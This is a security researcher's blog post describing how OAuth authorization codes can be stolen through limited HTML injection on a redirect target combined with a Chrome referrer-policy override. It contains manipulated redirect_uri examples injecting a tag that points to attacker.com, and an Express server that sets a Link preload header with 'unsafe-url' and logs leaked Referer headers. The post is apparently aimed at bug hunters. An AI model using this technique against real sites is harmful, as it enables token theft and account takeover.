Stealing oAuth Token via Referrer Policy Override

Hello, let’s get straight to the main course. OAuth implementation has many hidden parts that have been discussed before on the internet. The most famous one is Account hijacking using “dirty dancing” in sign-in OAuth-flows, which inspired Omid and led him to find his amazing bug, which was nominated, then accepted for top web hacking techniques of 2024.
The attack scenario involves diverting the user from the usual OAuth or SSO authentication process. I think the OAuth is clear, but SSO has many implementations. Here, I'm referring to the redirect method, which Hashnode, the blog provider I'm using, has implemented. If you want to technically see what I'm saying, just click on the login button here. It uses the redirect method in SSO, on which I previously found a severe vulnerability:

By the way, I'm not going into detail about the tricks since Frans Rosen's write-up covers it thoroughly. To summarize, you should redirect the victim to an alternative path that:
has limited HTMLi, only
<meta>and<img>tags (nothing new, Omid’s tweet)has limited HTMLi, DOMPurified, only
<img>tag +referrerpolicyattribute (nothing new)has limited HTMLi, DOMPurified, only
<style>(nothing new, CSS exfiltration works)has the capability of taking control of an image tag
srcattribute (Chrome 0day?, rare case)has limited HTMLi, DOMPurified, only
<img>tag is allowed (Chrome 0day?, not rare)
The first three cases have been widely discussed before, but last night I saw a mysterious tweet that opened a new insight. The tweet discusses the fourth case, which surprised me. Why surprising? The default browser behavior does not leak the referrer when fetching elements such as images from third parties unless the referrerpolicy is set to unsafe-url. Assume there is an OAuth link like this:
https://oauth-provider.com/oauth/authorize?
response_type=code&
client_id=YOUR_APP_ID&
redirect_uri=https://legitimate.com/callback&
scope=openid%20profile%20email&
state=random_state_string
Here, the attacker alters the redirect_uri to something like the following URL:
redirect_uri=https://legitimate.com/callback/../page?param=limited_html_here
I should add that some providers, like Google, do not allow even a small change in redirect_uri. Some allow small changes, such as a trailing slash, and some are more lenient and only securely validate the domain name, exactly like my last case. On the other hand, there are plenty of ways to disrupt the OAuth flow, leading the victim to a place where there is a small HTMLi. Here, if the attacker has the capability of injecting an <img> tag without attributes, they won’t be able to steal the token since the full referer won’t be included in the HTTP request (only the Origin will). So:
https://oauth-provider.com/oauth/authorize?
response_type=code&
client_id=YOUR_APP_ID&
redirect_uri=https://legitimate.com/callback/../page?param=<a+hre='//attacker.com/xyz.jpg'>&
scope=openid%20profile%20email&
state=random_state_string
Does nothing as the browser finally reaches the following link:
https://legitimate.com/callback/../page?
param=<a+hre='//attacker.com/xyz.jpg'>&
code=AUTHORIZATION_CODE&
state=random_state_string
Which results in sending an HTTP request to //attacker.com/xyz.jpg equipped with:
Referer: https://legitimate.com
This scenario is not working, as a hunter fell into this trick and tweeted about it. Now we reach the exciting part of this blog post, which seems to be a Google Chrome 0day. The @slonser_ has found that the policy header can be overridden:
const express = require('express');
const app = express();
const port = 9999;
const path = require('path');
app.get('/image.jpg', (req, res) => {
res.setHeader('Link', '<https://attacker.com/log>;rel="preload"; as="image"; referrerpolicy="unsafe-url"');
res.sendFile(path.join(__dirname, 'logo.jpg'));
});
app.get('/log', (req, res) => {
console.log(req.headers['referer']);
res.send('Hi!');
});
app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`);
});
The code delivers and applies a referrerpolicy="unsafe-url" for the attacker’s logger path. You probably know that, unlike other browsers, Chrome resolves the Link header on sub-resource HTTP requests, and this is an intentional behavior, not a vulnerability. The problem here is that Chrome applies a new referrer policy, which includes the complete referrer, including the OAuth token, etc. Taking advantage of this, the attacker will receive the token via the referrer header.
As a final word, let me summarize the whole methodology:
Find a limited HTMLi, more specifically, DOMPurified inputs are best since companies have over-trusted it, commonly allowing limited HTMLi
Redirect the user to the injectable path; this can happen in OAuth and SSO. Take advantage of methods in Frans Rosen's blog post
Exploit the behavior to leak the token using Referer Leakage or CSS data exfiltration (mentioned before)
I don’t know when Google will issue a patch for this, but until then, you can find vulnerabilities as we do:

A Test-bed to Play with
Amir coded a vulnerable test bed, you can install and practice with it. He’s also found 2 ATOs and several in-exploitable places with these techniques. I really appreciate him for sharing his knowledge in this web application.

![uXSS on Samsung Browser [CVE-2025-58485 SVE-2025-1879]](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1769612322324%2F5d0547d4-f91a-49d7-bc16-70a87513b506.png&w=3840&q=75)


